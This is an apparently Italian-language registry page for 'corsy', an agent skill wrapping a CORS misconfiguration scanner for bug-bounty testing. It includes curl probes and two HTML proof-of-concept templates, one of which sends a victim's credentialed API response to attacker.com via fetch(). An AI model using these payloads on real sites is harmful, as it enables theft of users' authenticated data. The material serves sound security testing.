Vai al contenuto
New

DeepSeek V4.1 Flash free for 7 days: 10M tokens a day after a top-up of $10 or more. Until Nov 30.

How it works
aeondave/corsyWeb e bug bounty

corsy

⁨Auth/lab ref: Corsy CORS policy scanner; origin reflection, null origin, wildcard, regex/prefix edge cases, API evidence.⁩

v2026.11.13-21cd5684 installazioni+4 in 7 giorni39 StelleMITsincronizzato 10 ore fa

Installa

Non hai ancora la CLI di NotHoly? Installala prima.

$ curl -fsSL https://notholy.com/install.sh | sh
$ notholy skills install aeondave/corsy

Scrive in ⁦~/.notholy/skills⁩ dopo aver controllato la firma e lo SHA-256.

FirmaFirmato, ed25519
3CNUjLZv5+…JEnph0Cg==La CLI controlla lo SHA-256 e la firma prima di scrivere qualsiasi file.
Pacchettoe20c7e7d…a1fcb30d
e20c7e7d1ffb…20a5a1fcb30d2 file · ⁦3.1 KB⁩
ScansioneBasso1 segnalazione
  • Link a domini esterni
Vedi la scansione completa
Sorgentegithub.com/AeonDave/malskill/tree/main/offensive-tools/web/corsy@21cd568

Questa voce non è ancora scritta in italiano, quindi è mostrata in un'altra lingua: English.

CORS misconfiguration scanner — 10+ vuln types, lightweight, fast.

Quick Start

bash
git clone https://github.com/s0md3v/Corsy
cd Corsy && pip3 install requests

# Single URL
python3 corsy.py -u https://target.com

# With authentication
python3 corsy.py -u https://api.target.com -H "Authorization: Bearer TOKEN"

# Bulk scan from file
python3 corsy.py -i urls.txt -t 10

# JSON output
python3 corsy.py -u https://target.com --json > cors.json

Core Flags

Flag Purpose
-u <url> Single target URL
-i <file> Input file with one URL per line
-H "K: V" Custom header (auth, cookies)
-t <N> Thread count (default: 2)
-d <N> Delay between requests (ms)
-q Quiet mode (no banner)
--json JSON output

Misconfiguration Types Detected

Type Condition Exploitable
Origin Reflection Server mirrors any Origin header Critical if +credentials
Null Origin null origin accepted Critical (iframe sandbox attack)
Pre-domain bypass evil.target.com accepted High
Post-domain bypass target.com.evil.com accepted High
Underscore bypass target_evil.com accepted High
Backtick bypass Origin with backtick accepted High
Unescaped dot Regex dot not escaped Medium
Wildcard Access-Control-Allow-Origin: * Medium (no credentials)
Wildcard + credentials * + credentials: true Not exploitable (browser blocks)
Invalid value Malformed CORS header Info
Third-party allowed Unknown domain trusted High
HTTP on HTTPS HTTP origin trusted Medium

Exploitation: What Makes CORS Exploitable

Critical = Access-Control-Allow-Origin: <reflected> + Access-Control-Allow-Credentials: true

bash
# Manual test with curl
curl -H "Origin: https://attacker.com" https://api.target.com/profile -Iv 2>&1 | grep -i "access-control"

# Test null origin
curl -H "Origin: null" https://api.target.com/data -Iv 2>&1 | grep -i "access-control"

# Test pre-domain bypass
curl -H "Origin: https://eviltarget.com" https://api.target.com/ -Iv 2>&1 | grep -i "access-control"

# Preflight (OPTIONS) test
curl -X OPTIONS -H "Origin: https://attacker.com" \
    -H "Access-Control-Request-Method: POST" \
    https://api.target.com/data -Iv

PoC Templates

Reflected Origin + Credentials (Critical)

html
<script>
var xhr = new XMLHttpRequest();
xhr.withCredentials = true;
xhr.open('GET', 'https://api.target.com/user/profile', true);
xhr.onload = function() {
    fetch('https://attacker.com/steal?d=' + btoa(xhr.responseText));
};
xhr.send();
</script>

Null Origin (via iframe sandbox)

html
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" srcdoc="
<script>
var xhr = new XMLHttpRequest();
xhr.withCredentials = true;
xhr.open('GET', 'https://api.target.com/sensitive', true);
xhr.onload = function() { alert(xhr.responseText); };
xhr.send();
</script>
"></iframe>

Common Workflows

bash
# API endpoint scan with session cookie
python3 corsy.py -u https://api.target.com \
    -H "Cookie: session=abc123; auth=token"

# Scan API paths list
cat api_endpoints.txt | python3 corsy.py -i /dev/stdin -t 20

# Full recon pipeline
cat domains.txt | httpx -silent | python3 corsy.py -i /dev/stdin --json > cors_results.json

Resources

File When to load
references/cors-exploit.md Full PoC templates, CORS header explanation, pre-flight vs simple requests, impact examples

File di questa versione

Permessi

PermessoDichiaratoTrovato dalla scansione
Legge fileSìSì
Scrive fileSìSì
Esegue comandi shellSìSì
Usa la reteSìSì
Usa i connettoriNoNo
Controlla un browserNoNo

Segnalazioni della scansione

Rivisto il 13 nov 2026

  1. InfoLink · Link a domini esterni

Una scansione pulita abbassa il rischio, ma non prova che il pacchetto sia sicuro. Leggi quello che installi.

VersionePubblicataCommitSHA-256FirmaCambio di permessi
v2026.11.13-21cd56813 nov 202621cd568e20c7e7dFirmata–

Chiedi tutto quello che il tuo perimetro consente.

Crea un account, aggiungi crediti e fai la prima domanda in chat o nel terminale.

  1. 1/3

    Crea l'account

    Privato o azienda. Puoi passare ad azienda in seguito senza perdere saldo o chiavi.

    PrivatoAzienda
  2. 2/3

    Aggiungi crediti

    Con carta. Paghi a token, senza abbonamento.

    $5.00ricarica minima
  3. 3/3

    Chiedi

    In chat, oppure installa la CLI ed esegui notholy login nel terminale.

    $ notholy login